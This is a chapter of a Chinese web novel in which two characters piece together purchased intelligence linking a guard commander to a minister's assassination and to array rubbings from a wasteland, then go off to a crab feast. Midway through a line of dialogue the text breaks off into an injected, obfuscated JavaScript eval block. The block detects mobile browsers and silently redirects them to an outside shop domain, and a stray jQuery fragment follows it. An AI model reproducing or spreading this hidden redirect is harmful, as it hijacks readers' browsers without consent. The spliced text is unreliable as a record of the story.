二楼静得只能听见轻微的翻页声。
空梵与冷青时只花小半个时辰便看完所有情报,并且默契地挑出所有与阵骨荒原相关的部分摞在一起,最后按照时间顺序排序整合,交叉比对,终于锁定两件事。
第一件,右相辞官归家,中途遇山匪截杀。
当朝分左右相,左相势大,右相年长。年初大祀结束后,陛下重用左相及其派系官员,右相请辞归家,退出朝堂。
这于朝廷是平地惊雷的大事,但在民间并未掀起什么风浪,真正令百姓关注的,是右相回乡途中遇袭的事。
右相今年六十有一,历经三代帝王,政绩卓然,颇受皇室看重和百姓爱戴。此次回乡,陛下专门派出两支禁军兵士共五百人随行护卫,按理说如此大的阵仗,但凡有点脑子的匪徒都不会,也没必要对其动手。
但就是有脑子“不清醒”的,在距离长都六百里之遥的安淮乡天险谷内设计伏杀。
天险谷别名一线天,是两座千仞高峰中间夹的一座深谷,细窄而长,只能容五六人并肩通过,稍大点的马车都过不去。
偏偏这又是右相回家的必经之路,如果不走天险谷,就必须攀山越岭,届时遇到狼群、虎豹等猛兽,可没法像人那样讲道理,更危险,路途也颠簸。
无奈之下,车队还是选了这条路。
事实上,决定走天险谷的人是右相,他认为不会有那么不长眼的匪徒胆敢招惹陛下派兵护送的人,他的政敌也不至于此,因而毫不担心。
直至谷上巨石滚落,精准砸中他乘坐的车辆,在命丧的前一刻,他大抵才明白自己错得多离谱。
可右相已无懊恼的时间,真正懊恼悔恨的人是负责护送的禁军头目——他实不该同意右相的决定!
禁军首领回都之后,上书陈明罪状。陛下震怒,朝野震荡,安淮乡附近的府军当天就开拔赶往案发地,将天险谷及其两座山峰犁了一遍,三日不到便抓出凶手与策划此事的罪魁,连夜送往长都受刑。
情报在此缺失了一块,只说推石伏杀右相的是前朝为右相斗倒的一位武官的残部后代,遵循父辈遗愿杀他报仇,却只字未提策划此案之人的身份。
这种花钱买的情报里没有,现实中自然更不会有。凶手伏诛那天,死的也只有亲自参与埋伏的那批人,罪魁不在其中。
有趣的是,情报末尾专门提了一句,在右相出殡当晚,护送不力的那位禁军首领于牢中自尽,仵作不验尸,刑部不调查,连尸首都没给他家人留下,在牢里就给烧了。
事出反常必有妖,刑部,或者说刑部背后站着的人摆明了说禁军首领的死就是有问题,但他不会查,也不允许任何人查。
此事到此尘埃落定,然而枯死的枝干上仍有枝蔓迁延,千丝万缕,不知连向何处。
将这件事单独挑出来的是冷青时,原因很简单,禁军统领是所有情报里唯一一个确定去过阵骨荒原的人,就在右相案发的两个月前,也就是四月初,三月大祀刚结束不久的时候。
当时的他还不是禁军统领,只是一个小头目,连副手都算不上。
“那栋房屋里的六具尸体是受过统一训练的士兵或护卫。”冷青时的手指点在禁军统领的名字——冷翰上,“而他是禁军统领,案发前又正好去过阵骨荒原。”
“你怀疑他们是他的手下……”空梵摊开双手,十根修长骨节的指腹、侧面与掌心有不少错落粗糙的茧子,看起来是一双常年习武之人的手,“我也是?”
“嗯。”冷青时点头。
空梵微微勾起嘴角,拿过自己挑出的情报:“与我所想不谋而合。”
第二件事发生在三月大祀之后,长都鬼市突然出现一批阵法拓片,来源不明,具体是什么阵法也不明,可其中蕴含的阵法之道高深玄妙,其研究价值远超过实际作用,引发不少研修阵法的修道者蜂拥而至,争抢了足足半个月。
阵法拓片售出不久,鬼市中开始流传一条消息——拓片上的阵法残纹源自于阵骨荒原,若是能收集到全部,就可复原出那位阵法宗师生前研究的绝世杀阵。
一座残缺状态下便可屠尽万户大城的阵法,莫说阵法修行者,就是朝中、军方听闻此事也不禁意动,纷纷派人搜寻已经卖出的拓片,闹得鬼市一度动荡不止,至七月方休。
重点是,朝廷后来搜集到的拓片半数以上是冷翰找到的,在此之前,有两名内侍因办事不力被撤职,而他毛遂自荐揽下此事,办得十分漂亮,也因此得到了陛下的赏识。
两件事放在一起看,如拨云见日,答案呼之欲出。
“大祀结束后,冷翰带了一批人前往阵骨荒原,记录部分阵纹制成拓片,放进鬼市敛财。”
“可能是拓片太多,他担心一口气全部放出会被压价,所以先放了一部分,剩下的再另谋时机。没想到这些拓片居然引起了圣上与军方的注意,却也给他制造了机会。他把手里剩余的拓片献给陛下,谎称是从其他购买者那里搜寻而来,因无人知晓购买者的身份,并且拓片都是真的,所以他顺利得到陛下的赏识,平步青云,一举拿下禁军统领之职。”
冷青时将事件脉络娓娓道来,虽然有不少细节因为缺乏证据,只能算作猜测,中间还夹杂着不少谜团。但他们想要的结果已经确定了。
“我曾是冷翰手下禁军,随他进入阵骨荒原拓印阵纹,而后不知发生了什么,我的另外六名同僚死在那里,我则是出于主动或被动假死脱身,醒来便失去了所有记忆。”
空梵托着下巴总结,眼帘低垂,掩去眸间的兴致缺缺。
“想确认我的身份,只要调查四月以后冷翰身边消失的禁军都有谁就好,说不定留在荒原中的那批人还是他的心腹,那就更好查了。”
冷青时颔首,将桌上的资料一张张放进火盆烧掉,继而屈指轻叩桌面。
不多时,灰衣仆从上楼询问,冷青时又问他们买了一份禁军情报,这次范围缩小到了禁军的人员变动情况。
“在茶馆内,任何情报都可以买卖,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289265|152075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但与朝廷有关的会贵一些。”仆从垂手,“诚惠五十金。”
方才那么多情报才花二百金,现在一份人员变动却要五十金,哪怕对钱财数字不敏/感的空梵也知道,这可不是只贵了一些。
冷青时却面不改色地掏出第二个钱袋递过去,仆从接过清点,正好五十金。
一包二百金,一包五十金,这是算好的?
灰衣仆从下去取情报,空梵以眼神询问。
冷青时微微笑道:“我略通卜算之术,昨夜心有所感,卜出今日破财有二,一为二百金,一为五十金,便提前备好了。”
空梵来了兴趣:“你还能卜出什么?天下大势、王朝更迭?亦或追史溯古,探看古今?”
“你太高看我了。”冷青时无奈,“倘若我有这等本事,何必破财,直接算出你的身份不就好了?”
空梵眼里刚亮起的光又暗了下去。
没劲,还想着让他算算自己的大限之期在何时,或者攻略任务能否完成。如今看来,他还是自行努力吧。
看见空梵难掩失落的眼瞳,冷青时心头莫名一揪,突然涌现出某种沉重复杂,却又神秘莫测的情绪,如闷热的茧,潮湿的蛹,紧紧缚住他的心脏,绞出没来由的闷痛。
他深吸一口气,转移话题:“待确认你的身份之后,你想做什么?”
“没想过。”空梵懒倦摇头,“你有建议吗?”
冷青时沉吟道:“兴之所至,道之所致。我不喜长都奢靡风气,过些时日会去游览名山大川,历遍山河万里。你若愿意,我们可以同行。”
空梵撇嘴,隐晦地扫了一眼停在肩头的蝴蝶。
别看它像死物一般,但在冷青时说出“同行”二字后,它便将目光挪到了空梵脸上。
与此同时,半空展开一面只有他能看到的光屏,上书三个大字——答应他!
空梵意兴阑珊:“我自然愿意。”
见他依旧情绪不高,应也应得勉强,像是无处可去后的妥协,冷青时表面上平静无波,大脑却在极速运转,试图找到他可能感兴趣的话题。
片刻后,冷青时笑道:“我大弈朝平定天下数百年,疆土广袤,风物万千。除美景美物以外,各地特色美食亦不计其数,山野鲜味、河海鱼虾、牧场牛羊,奇珍无数。便是长都,四时特供菜肴、点心也不少,如今正值初秋,月廊水榭新上了时令菜桂花螃蟹宴,一会儿我带你去尝尝,可好?”
闻言,空梵顿时精神一振:“桂花螃蟹宴有几道菜?好吃吗?”
“每日食材不同,菜单也会随之修改更替,但最少不会少于十二道菜,多则有十五道。”见他来了兴致,冷青时的眼中笑意更深,“至于味道,我未尝过,并不清楚。不过月廊水榭的时令菜素来受老餮食客们的欢迎,想来味道不会差到哪里去。”
听到这里,空梵哪里还能不知道他在哄自己开心,虽然疑惑更甚,却也没吝啬,向他粲然一笑。
“好,那我们稍后一起前去品鉴。”